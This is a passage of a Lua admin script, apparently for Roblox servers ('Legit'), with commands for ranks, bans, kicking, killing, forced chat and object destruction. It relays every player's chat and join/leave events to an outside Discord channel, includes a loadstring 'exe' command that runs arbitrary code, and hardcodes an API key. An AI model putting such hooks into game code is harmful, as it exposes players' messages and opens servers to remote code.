  4228. ChatService:GetSpeaker(name):SetExtraData("Font", font)
  4229. else
  4230. ChatService:AddSpeaker(name)
  4231. ChatService:GetSpeaker(name):SetExtraData("Font", font)
  4232. end
  4233. end,{'cf'})
  4234. addcmd('changetextcolorself','change textcolor of yourself',1337,1,function(speaker,args)
  4235. local color=args[1]
  4236. local name = speaker.Name
  4237. if ChatService:GetSpeaker(name) ~= nil then
  4238. ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
  4239. else
  4240. ChatService:AddSpeaker(name)
  4241. ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
  4242. end
  4243. end,{'ctcself'})
  4244. addcmd('changenamecolorself','change namecolor of yourself',1337,1,function(speaker,args)
  4245. local color=args[1]
  4246. local name = speaker.Name
  4247. if ChatService:GetSpeaker(name) ~= nil then
  4248. ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
  4249. else
  4250. ChatService:AddSpeaker(name)
  4251. ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
  4252. end
  4253. end,{'cncself'})
  4254. addcmd('changefontself','change font of yourself',1337,1,function(speaker,args)
  4255. local color=args[1]
  4256. local name = speaker.Name
  4257. if ChatService:GetSpeaker(name) ~= nil then
  4258. ChatService:GetSpeaker(name):SetExtraData("Font", color)
  4259. else
  4260. ChatService:AddSpeaker(name)
  4261. ChatService:GetSpeaker(name):SetExtraData("Font", color)
  4262. end
  4263. end,{'cfself'})
  4264. addcmd('newserver','creates new game server at id',5,1,
  4265. function(speaker,args)
  4266. if args[1]~=nil then
  4267. local x=nil
  4268. if inTable({'place','here','this','game'},tostring(args[1]))then x=game.PlaceId end
  4269. if x==nil then
  4270. x=tonumber(args[1])
  4271. end
  4272. if x then
  4273. alert.c('created new server','Lime green',speaker)
  4274. newserver(x)
  4275.  
  4276. end
  4277. else
  4278. alert.c('created new server','Lime green',speaker)
  4279. newserver(game.PlaceId)
  4280. end
  4281. end,
  4282. {'ns','createserver'})
  4283.  
  4284.  
  4285. addcmd('afk','go afk',0,0,
  4286. function(speaker,args)
  4287. dmp(speaker)
  4288. for i=1,5 do
  4289. _tab(speaker.Name..' is afk [Cuz they Are Afk Probs Making Scripts]','Maroon',speaker,function()dmp(speaker)end)
  4290. end
  4291. end,
  4292. {})
  4293.  
  4294.  
  4295. addcmd('db','change db_view',5,1,
  4296. function(speaker,args)
  4297. if args[1]~=nil then
  4298. if inTable({'true','grid'},args[1]:lower())then
  4299. t.db_view='GRID'
  4300. else
  4301. t.db_view='PLR'
  4302. end
  4303. end
  4304. return
  4305. end)
  4306.  
  4307. addcmd('rank','changes a players rank',9e9,3,
  4308. function(speaker,args)
  4309. local plr
  4310. local rank
  4311. local reason
  4312. if args[1]then plr=_plr(args[1])end
  4313. if args[2]then rank=tonumber(args[2])end
  4314. if args[3]then reason=args[3]else reason='None'end
  4315. if plr and rank then
  4316. ds.set(plr.Name,'rank',rank)
  4317. ds.set(plr.Name,'reason',reason)
  4318. alert.c('you are now rank '..rank,ps.color(plr.Name),plr)
  4319. alert.c('you set '..plr.Name..'\'s rank to '..rank,ps.color(speaker.Name),speaker)
  4320. end
  4321. end)
  4322. addcmd('ranked','shows all ranked players',0,0,function(speaker,args)
  4323. dmp(speaker)
  4324. _dmtab(speaker)
  4325. for i,v in pairs(users)do
  4326. --print(list(v))
  4327. local s=v[1]
  4328. if v[2]==-1 then v[5]='Really black's=s..' (Banned)'end
  4329. if type(v[1])==type('hi')then
  4330. _tab(v[1],v[5],speaker,
  4331. function()
  4332. dmp(speaker)
  4333. _dmtab(speaker)
  4334.  
  4335. plrmen(v[1],speaker,'ranked')
  4336. end)
  4337. end
  4338. end
  4339. end)
  4340. addcmd('banned','shows all banned players',0,0,function(speaker,args)
  4341. dmp(speaker)
  4342. _dmtab(speaker)
  4343. for userId, data in pairs(banList) do
  4344. local name, bannedBy, reason, timestamp, duration = data.Name, data.BannedBy, data.Reason, data.Timestamp, data.Duration;
  4345. local timeLeftInDays = duration-math.floor((os.time()-timestamp)/86400);
  4346. if (timeLeftInDays > 0) then
  4347. alert.c(name.." - Banned by: "..bannedBy.." - Days left: "..timeLeftInDays.." - Reason: "..reason,ps.color(speaker),speaker);
  4348. else
  4349. banList[userId] = nil;
  4350. end
  4351. end
  4352. end)
  4353. addcmd('beemovie','yas',1337,0,
  4354. function(speaker,args)
  4355. _tab(game.HttpService:GetAsync("https://hastebin.com/raw/uyifatadin"),'Cyan',speaker)
  4356. end)
  4357. addcmd('serverlock','opens private server options;Ranked players stay',5,0,
  4358. function(speaker,args)
  4359. local sss='off'
  4360. local pc=c.red
  4361. if pri then sss='on';pc='Lime green' end
  4362. dmp(speaker)
  4363. _tab('pri is '..sss,pc,speaker)
  4364. _tab((pri and '[DISABLE]') or '[ENABLE]',pri and 'Really red' or 'Lime green',speaker,function()
  4365. dmp(speaker)
  4366. pri=not pri
  4367. if pri then
  4368. for i,v in pairs(plrs:GetPlayers'')do
  4369. if getrank(v.Name)<1 then Kick(v)end
  4370. end
  4371. end
  4372. alert.c('pri was '..(pri and 'enabled' or 'disabled'),c.white,speaker)
  4373. end)
  4374. end)
  4375.  
  4376. addcmd('jump','makes player jump',3,1,function(speaker,args)
  4377. local fplr=_match(args[1],speaker)
  4378. for i,v in pairs(fplr)do
  4379. safe.r(function()_plr(v).Character.Humanoid.Jump=true;end)
  4380. end
  4381. end)
  4382.  
  4383. addcmd('rot','changes players rot style',1,1,function(speaker,args)
  4384. local targ=speaker
  4385.  
  4386. if args[1]~=nil then
  4387. if _plr(targ)~=nil then targ=_plr(targ)end
  4388. end
  4389. rotmenu(targ,speaker)
  4390. end)
  4391. addcmd('legit','Player Menu',1,1,function(speaker,args)
  4392. local targ=speaker
  4393.  
  4394. if args[1]~=nil then
  4395. if _plr(targ)~=nil then targ=_plr(targ)end
  4396. end
  4397. MLGmenu(targ,speaker)
  4398. end)
  4399.  
  4400. addcmd('sit','makes player sit',3,1,function(speaker,args)
  4401. local fplr=_match(args[1],speaker)
  4402. for i,v in pairs(fplr)do
  4403. safe.r(function()_plr(v).Character.Humanoid.Sit=true;end)
  4404. end
  4405. end)
  4406. addcmd('freeze','freeze\'s player',3,1,function(speaker,args)
  4407. local fplr=_match(args[1],speaker)
  4408. for i,v in pairs(fplr)do
  4409. safe.r(function()_plr(v).Character.Torso.Anchored=true;end)
  4410. end
  4411. end)
  4412. addcmd('thaw','thaw\'s player',3,1,function(speaker,args)
  4413. local fplr=_match(args[1],speaker)
  4414. for i,v in pairs(fplr)do
  4415. safe.r(function()_plr(v).Character.Torso.Anchored=false;end)
  4416. end
  4417. end)
  4418. addcmd('define','define a word',0,1,function(speaker,args)
  4419. dmp(speaker)
  4420. local Message = tostring(args[1])
  4421. local http = game:GetService('HttpService')
  4422. local req = http:GetAsync("http://api.wordnik.com/v4/word.json/"..Message.."/definitions?limit=3&includeRelated=true&sourceDictionaries=all&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5", true)
  4423. req = http:JSONDecode(req)
  4424. local def = {}
  4425. for i in string.gmatch(req[1].text, "%w+%p*") do
  4426. table.insert(def, i)
  4427. end
  4428. local defs = ""
  4429. for _, v in pairs(def) do
  4430. defs = defs..v.." "
  4431. if _ % 10 == 0 then
  4432. defs = defs.."\n"
  4433. end
  4434. end
  4435. _tab(defs,'Bright yellow',speaker,function()dmp(speaker)end)
  4436. end,{'def'})
  4437. addcmd('antikill','gives plr anti kill',3,1,function(speaker,args)
  4438. local fplr=_match(args[1],speaker)
  4439. for i,v in pairs(fplr)do
  4440. safe.r(function()AntiKill(_plr(v)) end)
  4441. end
  4442. end)
  4443. addcmd('char','char someone',2,2,function(speaker,args)
  4444. local fplr=_match(args[1],speaker)
  4445. for i,v in pairs(fplr) do
  4446. if tonumber(args[2]) then
  4447. v.CharacterAppearanceId=tonumber(args[2])
  4448. elseif tostring(args[2]) then
  4449. v.CharacterAppearanceId=game:service'Players':GetUserIdFromNameAsync(args[2])
  4450. end
  4451. v:LoadCharacter()
  4452. end
  4453. end)
  4454. addcmd('forcechat','forcechat someone',1337,2,function(speaker,args)
  4455. local fplr=_match(args[1],speaker)
  4456. local msg = tostring(args[2])
  4457. for i,v in pairs(fplr) do
  4458. ForceChat(v,msg)
  4459. end
  4460. end,
  4461. {'fc','fchat','forcec'})
  4462. addcmd('respawn','Respawn someone',2,1,function(speaker,args)
  4463. local fplr=_match(args[1],speaker)
  4464. for i,v in pairs(fplr) do
  4465. v:LoadCharacter()
  4466. end
  4467. end)
  4468. addcmd('unchar','unchar someone',2,1,function(speaker,args)
  4469. local fplr=_match(args[1],speaker)
  4470. for i,v in pairs(fplr) do
  4471. v.CharacterAppearanceId=v.UserId
  4472. v:LoadCharacter()
  4473. end
  4474. end)
  4475. addcmd('fling','next plane to china',4,1,function(speaker,args)
  4476. local fplr=_match(args[1],speaker)
  4477. for i,v in pairs(fplr)do
  4478. safe.r(function()_plr(v).Character.Humanoid.Sit=true;_plr(v).Character.Torso.Velocity=v3(4000,4000,4000)end)
  4479. end
  4480. end)
  4481.  
  4482. addcmd('god','makes player godly',3,1,function(speaker,args)
  4483. local fplr=_match(args[1],speaker)
  4484. for i,v in pairs(fplr)do
  4485. safe.r(function()_plr(v).Character.Humanoid.MaxHealth=math.huge;end)
  4486. end
  4487. end)
  4488.  
  4489. addcmd('kill','kills player',3,1,function(speaker,args)
  4490. local fplr=_match(args[1],speaker)
  4491. for i,v in pairs(fplr)do
  4492. safe.r(function()_plr(v).Character:breakJoints();end)
  4493. end
  4494. end)
  4495.  
  4496. addcmd('mute','mutes a player',3,1,function(speaker,args)
  4497. fplr=_match(args[1],speaker)
  4498. Mute(fplr)
  4499. end)
  4500.  
  4501. addcmd('unmute','unmutes a player',3,1,function(speaker,args)
  4502. fplr=_match(args[1],speaker)
  4503. UnMute(fplr)
  4504. end)
  4505.  
  4506. addcmd('kick','makes player gone',4,1,function(speaker,args)
  4507. local fplr=_match(args[1],speaker)
  4508. local freason=tostring(args[2])
  4509. for i,v in pairs(fplr)do
  4510. safe.r(function()v:Kick(freason);end)
  4511. end
  4512. end)
  4513.  
  4514. addcmd('ban','bans a player for a reason and a duration of time',9e9,3,function(speaker,args)
  4515. local fplr=_match(args[1])if not fplr then return end
  4516. local reason = tostring(args[2])
  4517. local duration = tonumber(args[3])
  4518. for _,plyr in pairs(fplr) do
  4519. banList[tostring(plyr.UserId)] = {Name=plyr.Name, BannedBy=speaker.Name, Reason=reason, Timestamp=os.time(), Duration=duration}
  4520. banStore:SetAsync(banKey, banList);
  4521. plyr:Kick(reason)
  4522. end
  4523. end)
  4524. addcmd('remoteban','remotebans a player for a reason and a duration of time',9e9,3,function(speaker,args)
  4525. local toBan = tostring(args[1])
  4526. local reason = tostring(args[2])
  4527. local duration = tonumber(args[3])
  4528. local success, userId = pcall(function() return game:service'Players':GetUserIdFromNameAsync(toBan); end);
  4529. if (not success) then
  4530. return alert.c("Error player not found","Really red",speaker);
  4531. end
  4532. banList[tostring(userId)] = {Name=toBan, BannedBy=speaker.Name, Reason=reason, Timestamp=os.time(), Duration=duration}
  4533. banStore:SetAsync(banKey, banList);
  4534. alert.c("Remote Banned " .. toBan,ps.color(speaker),speaker);
  4535. end)
  4536. addcmd('unban','unbans a player',9e9,1,function(speaker,args)
  4537. local plr = tostring(args[1])
  4538. for userId, data in pairs(banList) do
  4539. if (string.find(string.lower(data.Name),string.lower(plr),1,true) == 1) then
  4540. banList[userId] = nil;
  4541. banStore:SetAsync(banKey, banList);
  4542. alert.c("Unbanned "..data.Name,ps.color(speaker),speaker)
  4543. return;
  4544. end
  4545. end
  4546. end)
  4547. addcmd('cprefix','change prefix',1337,1,function(speaker,args)
  4548. local newprefix = tostring(args[1])
  4549. if args[1] ~= nil then
  4550. prefix = newprefix
  4551. OxChat("Legit Prefix Changed to",newprefix)
  4552. SendChat.MessageAll("[Legit]: Prefix Changed to: "..newprefix, BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
  4553. end
  4554. end)
  4555.  
  4556. addcmd('csuffix','change suffix',1337,1,function(speaker,args)
  4557. local newsuffix = tostring(args[1])
  4558. if args[1] ~= nil then
  4559. suffix = newsuffix
  4560. OxChat("Legit Prefix Changed to",newsuffix)
  4561. SendChat.MessageAll("[Legit]: suffix Changed to: "..newsuffix, BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
  4562. end
  4563. end)
  4564.  
  4565. addcmd('menu','opens menu',4,1,function(speaker,args)
  4566. dmp(speaker)
  4567. local pc=ps.color(speaker)
  4568. _tab('music','Lime green',speaker,function()
  4569. chat('music',speaker)
  4570. end)
  4571. _tab('players','Bright blue',speaker,function()
  4572. chat('net',speaker)
  4573. end)
  4574. _tab('logs','Bright yellow',speaker,function()
  4575. chat('logs',speaker)
  4576. end)
  4577. _tab('settings',ps.color(speaker),speaker,function()
  4578. dmp(speaker)
  4579. _tab('rotation',pc,speaker,function()rotmenu(speaker,speaker)end)
  4580. _tab('neon',pc,speaker,function()neonmenu(speaker,speaker)end)
  4581. end)
  4582. end)
  4583.  
  4584.  
  4585. addcmd('set','sets plr attribute',3e9,3,
  4586. function(speaker,args)
  4587. --plr att val
  4588. if args[1]~=nil and args[2]~=nil and args[3]~=nil then
  4589. local plr=_plr(args[1])
  4590. if not plr then plr=args[1] else plr=plr.Name end
  4591. local ind=tostring(args[2]):lower()
  4592. local val=args[3]
  4593. if plr and ind and inTable(ds.props,ind)then
  4594. ds.set(plr,ind,val)
  4595. alert.c('set '..plr..'\'s '..ind..' to '..tostring(val),'White',speaker,4)
  4596. end
  4597. end
  4598. end,
  4599. {'setr'})
  4600. addcmd('rejoin','rejoin the server',0,1,
  4601. function(speaker,args)
  4602. local placeid = game.PlaceId
  4603. local plr = speaker
  4604. rejoin(plr)
  4605. end)
  4606. addcmd('pbase','creates and teleports you to a private base',3,0,
  4607. function(speaker,args)
  4608. PBase()
  4609. TPBase(speaker)
  4610. end)
  4611. addcmd('tpbase','teleports player to a private base',3,1,
  4612. function(speaker,args)
  4613. local plr = _match(args[1],speaker)
  4614. for _,v in pairs(plr)do
  4615. TPBase(v)
  4616. end
  4617. end)
  4618. addcmd('lcmd','sets locked for a player',9e9,2,
  4619. function(speaker,args)
  4620.  
  4621. if args[1]~=nil and args[2]~=nil then
  4622. dmp(speaker)
  4623. local cplr=_plr(args[1])
  4624. if not cplr then return end
  4625. if iscmd(args[2])~=nil then
  4626. local c=iscmd(args[2])
  4627. if ps.islocked(c.NAME,cplr)then
  4628. _tab(c.NAME..' is LOCKED','Really red',speaker)
  4629. _tab('Click to unlock','Lime green',speaker,function()
  4630. for i,v in pairs(users)do
  4631. if v[1]==cplr.Name then
  4632. for o,b in pairs(v[7])do
  4633. if b:lower()==c.NAME:lower()then table.remove(v[7],o) end
  4634. end
  4635. end
  4636. end
  4637. dmp(speaker)
  4638. alert.c(c.NAME..' was unlocked for '..cplr.Name,'White',speaker,4)
  4639. end)
  4640. else
  4641. _tab(c.NAME..' is UNLOCKED','Lime green',speaker)
  4642. _tab('Click to lock','Really red',speaker,function()
  4643. safe.r(function()
  4644. table.insert(ds.prof(cplr.Name)[7],c.NAME)
  4645. end)
  4646. dmp(speaker)
  4647. alert.c(c.NAME..' was locked for '..cplr.Name,'White',speaker,4)
  4648. end)
  4649. end
  4650. elseif args[2]:lower()=='-list'then
  4651. for i,v in pairs(ds.prof(cplr.Name)[7])do
  4652. _tab(v,'Really red',speaker,function()
  4653. chat("lcmd'"..cplr.Name.."'"..v,speaker)
  4654. end)
  4655. end
  4656. elseif args[2]:lower()=='-clear'then
  4657. ds.prof(cplr.Name)[7]={}
  4658. end
  4659. end
  4660. end,
  4661. {'lockcmd','cmdlock','commandlock'})
  4662.  
  4663. addcmd('exe','executes a script',9e9,1,
  4664. function(speaker,args,orig)
  4665. orig=orig:sub(5)
  4666. local x=nil
  4667. local success,error=ypcall(function()x={loadstring(orig)}end)
  4668. local func,err=unpack(x);
  4669. if success then
  4670. alert.c('Script ran successfully','Lime green',speaker)alert.c(error,'White',speaker)
  4671. else
  4672. alert.c(error,c.red,speaker)
  4673. end
  4674. end)
  4675.  
  4676. addcmd('songrequest','request a song',0,1,
  4677. function(speaker,args)
  4678. dmp(speaker)
  4679. if args[1]~=nil then
  4680. local idz=args[1]
  4681. if not tonumber(idz)then alert.c('Please request a song ID!','Really red',speaker)return end
  4682. if assettype(tonumber(idz))~=3 then alert.c('Please request a song ID!','Really red',speaker)return end
  4683. local izz=game:GetService("MarketplaceService"):GetProductInfo(tonumber(idz))
  4684. _tab("Request \""..izz.Name..'"?','New Yeller',speaker)
  4685. _tab('Yes','Lime green',speaker,function()if inTable(songrequests, tonumber(idz))then dmp(speaker)alert.c('Song is already in request list!','Really red',speaker)else dmp(speaker)table.insert(songrequests,idz)alert.c('Song requested.','Lime green',speaker)end end)
  4686. _tab('Cancel','Really red',speaker,function()dmp(speaker)end)
  4687. end
  4688. end,{'requestsong','request'})
  4689.  
  4690. addcmd('requests','view song requests',3,0,
  4691. function(speaker,args)
  4692. dmp(speaker)
  4693. for i,v in pairs(songrequests)do
  4694. local izz=game:GetService("MarketplaceService"):GetProductInfo(tonumber(v))
  4695. _tab(izz.Name,'Lime green',speaker,
  4696. function()
  4697. dmp(speaker)
  4698. songmenu(tonumber(v),speaker)
  4699. _tab('Reject','Maroon',speaker,
  4700. function()
  4701. songrequests[i]=nil
  4702. chat('requests',speaker)
  4703. end)
  4704. end)
  4705. end
  4706. end)
  4707.  
  4708. addcmd('placemenu','Controls the whole place',5,0,function(speaker,args)
  4709. placemenu(speaker)
  4710. end)
  4711. explore = function(player, obj)
  4712. dmp (player);
  4713. if (not obj) then
  4714. _tab('CoolMLGPlayer is amazing','Hot pink',player)
  4715. for i, v in next, {'Workspace'; 'Players'; 'Lighting'; 'ReplicatedStorage'; 'ServerScriptService';} do
  4716. _tab(v, (tostring(BrickColor.random())), player, function()
  4717. explore(player, game:service(v));
  4718. end);
  4719. end;
  4720. return;
  4721. end;
  4722. _tab('Destroy', 'Really red', player, function()
  4723. local objParent = obj.Parent;
  4724. if (pcall(game.Destroy, obj)) then
  4725. explore(player, objParent);
  4726. else
  4727. _tab('Failed to destroy object', 'Lime green', player);
  4728. end;
  4729. end);
  4730. _tab('Redirect to parent', 'Teal', player,function()
  4731. if (obj.Parent ~= nil) then
  4732. explore(player, obj.Parent);
  4733. end;
  4734. end);
  4735. _tab('Redirect to children', 'Lime green', player, function()
  4736. dmp(player);
  4737. for i, v in next, obj:getChildren() do
  4738. _tab(v.Name, 'Lime green', player, function()
  4739. explore(player, v);
  4740. end);
  4741. end;
  4742. end);
  4743. -- end of functions tablets
  4744. _tab('Name: ' .. obj.Name, ps.color(player), player);
  4745. _tab('FullName: ' .. obj:getFullName(), ps.color(player), player);
  4746. _tab('Parent: ' .. tostring(obj.Parent), ps.color(player), player);
  4747. _tab('ClassName: ' .. obj.ClassName, ps.color(player), player);
  4748. --You can add more information tablets here
  4749. end;
  4750.  
  4751. addcmd('explore', 'explores the game', 1337,0, function(spkr) explore(spkr); end);
  4752.  
  4753. addcmd('logs','view logs',4,0,
  4754. function(speaker)
  4755. dmp(speaker)
  4756. _tab('view system logs','New Yeller',speaker,function()
  4757. dmp(speaker)
  4758. _dmtab(speaker)
  4759. table.foreach(logs.LOG,function(k,v)
  4760. t.t(v,'White',speaker)
  4761. end)
  4762. end)
  4763.  
  4764. _tab('view chat logs','Bright blue',speaker,function()
  4765. dmp(speaker)
  4766. _dmtab(speaker)
  4767. table.foreach(logs.CLOG,function(k,v)
  4768. t.t(v,'White',speaker)
  4769. end)
  4770. end)
  4771. _tab('clear system logs','White',speaker,function(tablet)
  4772. rem(tablet)
  4773. t.t('system logs cleared','White',speaker)
  4774. end)
  4775. _tab('clear chat logs','White',speaker,function(tablet)
  4776. rem(tablet)
  4777. t.t('chat logs cleared','White',speaker)
  4778. end)
  4779. end)
  4780. --DiscordHook1()
  4781. discordchat('Legit','Ran on game: '..GetNameFromId(game.PlaceId),"https://cdn.discordapp.com/attachments/306147237967167488/306817871789424640/backgrounder.png")
  4782. game.Players.Changed:connect(function(Property)
  4783. if Property == "NumPlayers" then
  4784. if Property == 0 then
  4785. discordchat('Legit','Game closed '..GetNameFromId(game.PlaceId),"https://cdn.discordapp.com/attachments/306147237967167488/306817871789424640/backgrounder.png")
  4786. end
  4787. end
  4788. end)
  4789. for _,plr in pairs(game:GetService("Players"):GetPlayers())do
  4790. plr.Chatted:connect(function(msg)
  4791. --if msg.IsFiltered then --[[or msg.isFiltered--]]
  4792. if string.sub(msg,1,2) == "/e" or string.sub(msg,1,2) == "h/" or string.sub(msg,1,3) == "hl/" or string.sub(msg,1,8) == "https://" then
  4793. if discordcensor then
  4794. discordchat(plr.Name.." [Rank: "..getrank(plr).."]",string.rep("#",string.len(msg)),"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4795. SLM(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4796. else
  4797. discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4798. end
  4799. else
  4800. discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4801. end
  4802. end)
  4803. local banData = banList[tostring(plr.UserId)]
  4804. if (banData) then
  4805. local timeLeftInDays = banData.Duration-math.floor((os.time()-banData.Timestamp)/86400);
  4806. if (timeLeftInDays <= 0) then
  4807. banList[tostring(plr.UserId)] = nil;
  4808. banStore:SetAsync(banKey, banList);
  4809. else
  4810. plr:Kick("Banned by: " .. banData.BannedBy .. " - Days left: " .. timeLeftInDays .. " - Reason: " .. banData.Reason);
  4811. end
  4812. end
  4813. SendChat.MessageToPlayer(plr,"[Legit]: Welcome "..plr.Name,BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4814. SendChat.MessageToPlayer(plr,"[Legit]: Join Our Discord: https://discord.gg/pA3enW8", BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
  4815. SendChat.MessageToPlayer(plr,"[Legit]: Legit has been ran in this server",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
  4816. SendChat.MessageToPlayer(plr,"[Legit]: Your rank is "..getrank(plr),BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
  4817. SendChat.MessageToPlayer(plr,"[Legit]: Say "..prefix.."cmds"..suffix.." to see commands",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
  4818. funcs.ConnectLogger(plr)
  4819. end
  4820. wait(3)
  4821. cb("Legit Discord","Connected!")
  4822. discordchat("Legit Hook","Connected!",nil)
  4823. plrs.PlayerAdded:connect(function(plr)
  4824. if not enabled or update then return end
  4825. delay(0,function()repeat wait(1)until plr.Character
  4826. if inTable(Muted,plr.Name) then
  4827. Mute(plr)
  4828. end
  4829. local banData = banList[tostring(plr.UserId)]
  4830. if (banData) then
  4831. local timeLeftInDays = banData.Duration-math.floor((os.time()-banData.Timestamp)/86400);
  4832. if (timeLeftInDays <= 0) then
  4833. banList[tostring(plr.UserId)] = nil;
  4834. banStore:SetAsync(banKey, banList);
  4835. else
  4836. plr:Kick("Banned by: " .. banData.BannedBy .. " - Days left: " .. timeLeftInDays .. " - Reason: " .. banData.Reason);
  4837. end
  4838. end
  4839. plr.PlayerGui.DescendantAdded:connect(function(g)
  4840. checkgui(plr,g)
  4841. end)
  4842. plr.Backpack.DescendantAdded:connect(function(t)
  4843. checkbackpack(plr,t)
  4844. end)
  4845. funcs.Output("Note","Welcome "..plr.Name,plr)
  4846. for _,otherplrs in pairs(game:service'Players':GetPlayers()) do
  4847. if otherplrs.Name ~= plr.Name then
  4848. funcs.Output("Note","[Legit] "..plr.Name.." has joined the server",otherplrs)
  4849. end
  4850. end
  4851. local xx=0
  4852. if datastores then
  4853. xx=getrank(plr.Name)
  4854. if xx==-1 or pri and getrank(plr.Name)==0 then
  4855. Kick(plr)
  4856. --alert.g((plr.Name..' tried to join the game'),3)
  4857. return
  4858. end
  4859.  
  4860. end
  4861. plr.Chatted:connect(function(msg)
  4862. --if msg.IsFiltered then --if censors[msg] --[[or msg.isFiltered--]] then
  4863. if string.sub(msg,1,2) == "/e" or string.sub(msg,1,2) == "h/" or string.sub(msg,1,3) == "hl/" or string.sub(msg,1,8) == "https://" then
  4864. if discordcensor then
  4865. discordchat(plr.Name.." [Rank: "..getrank(plr).."]",string.rep("#",string.len(msg)),"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4866. SLM(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4867. else
  4868. discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4869. end
  4870. else
  4871. discordchat(plr.Name.." [Rank: "..getrank(plr).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4872. end
  4873. end)
  4874. delay(.5,function()
  4875. alert.c('Legit v'..ver..' running',ps.color(plr),plr,4)
  4876.  
  4877. alert.c('your rank: '..getrank(plr),ps.color(plr),plr,4)
  4878. _tab('say '..prefix..'cmds'..suffix..' to get your commands',ps.color(plr),plr,function()dmp(plr)chat("cmds",plr)end,'',4)
  4879. alert.g((plr.Name..' connected'),4)
  4880. end)end)
  4881. if getrank(plr) <=3 then
  4882. SendChat.MessageAll("[Legit]: "..plr.Name.." has joined the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4883. discordchat('[Legit]',"**"..plr.Name..' has joined the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4884. elseif getrank(plr) >=3 and plr.Name ~= "CoolMLGPlayer" then
  4885. SendChat.MessageAll("[Legit]: An admin/developer: "..plr.Name.." has joined the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4886. discordchat('[Legit]','An admin/developer: **'..plr.Name..' has joined the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4887. else
  4888. SendChat.MessageAll("[Legit]: My creator: "..plr.Name.." has joined the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4889. discordchat('[Legit]','My creator: **'..plr.Name..' has joined the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  4890. end
  4891. SendChat.MessageToPlayer(plr,"[Legit]: Welcome "..plr.Name,BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4892. SendChat.MessageToPlayer(plr,"[Legit]: Legit is running in this server",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
  4893. SendChat.MessageToPlayer(plr,"[Legit]: Join Our Discord: https://discord.gg/pA3enW8", BrickColor.new("Teal").Color, "Size24", "SourceSansBold")
  4894. SendChat.MessageToPlayer(plr,"[Legit]: Say "..prefix.."cmds"..suffix.." to see commands",BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
  4895. SendChat.MessageToPlayer(plr,"[Legit]: Your rank is "..getrank(plr),BrickColor.new("Lime green").Color,"Size24","SourceSansBold")
  4896. funcs.ConnectLogger(plr)
  4897. updateevents()
  4898. end)
  4899. plrs.PlayerRemoving:connect(function(x)
  4900. if enabled and not update then
  4901. local xx=0;
  4902. if datastores and x then
  4903.  
  4904. xx=getrank(x.Name)
  4905. end
  4906. if xx==-1 then
  4907.  
  4908. elseif pri and xx==0 then
  4909. alert.g((x.Name..' attempted to join'),4)
  4910. else
  4911. alert.g((x.Name..' disconnected'),4)
  4912. end
  4913. for _,otherplrs in pairs(game:service'Players':GetPlayers()) do
  4914. if otherplrs.Name ~= x.Name then
  4915. funcs.Output("Note","[Legit] "..x.Name.." has left the server",otherplrs)
  4916. end
  4917. end
  4918. if getrank(x) <=3 then
  4919. SendChat.MessageAll("[Legit]: "..x.Name.." has left the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4920. discordchat('[Legit]',"**"..x.Name..' has left the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(x.Name).."&width=180&height=180")
  4921. elseif getrank(x) >=3 and x.Name ~= "CoolMLGPlayer" then
  4922. SendChat.MessageAll("[Legit]: An admin/developer: "..x.Name.." has left the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4923. discordchat('[Legit]','An admin/developer: **'..x.Name..' has left the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(x.Name).."&width=180&height=180")
  4924. else
  4925. SendChat.MessageAll("[Legit]: My creator "..x.Name.." has left the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  4926. discordchat('[Legit]','My creator: **'..x.Name..' has left the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(x.Name).."&width=180&height=180")
  4927. end
  4928. updateevents()
  4929. end
  4930. end)
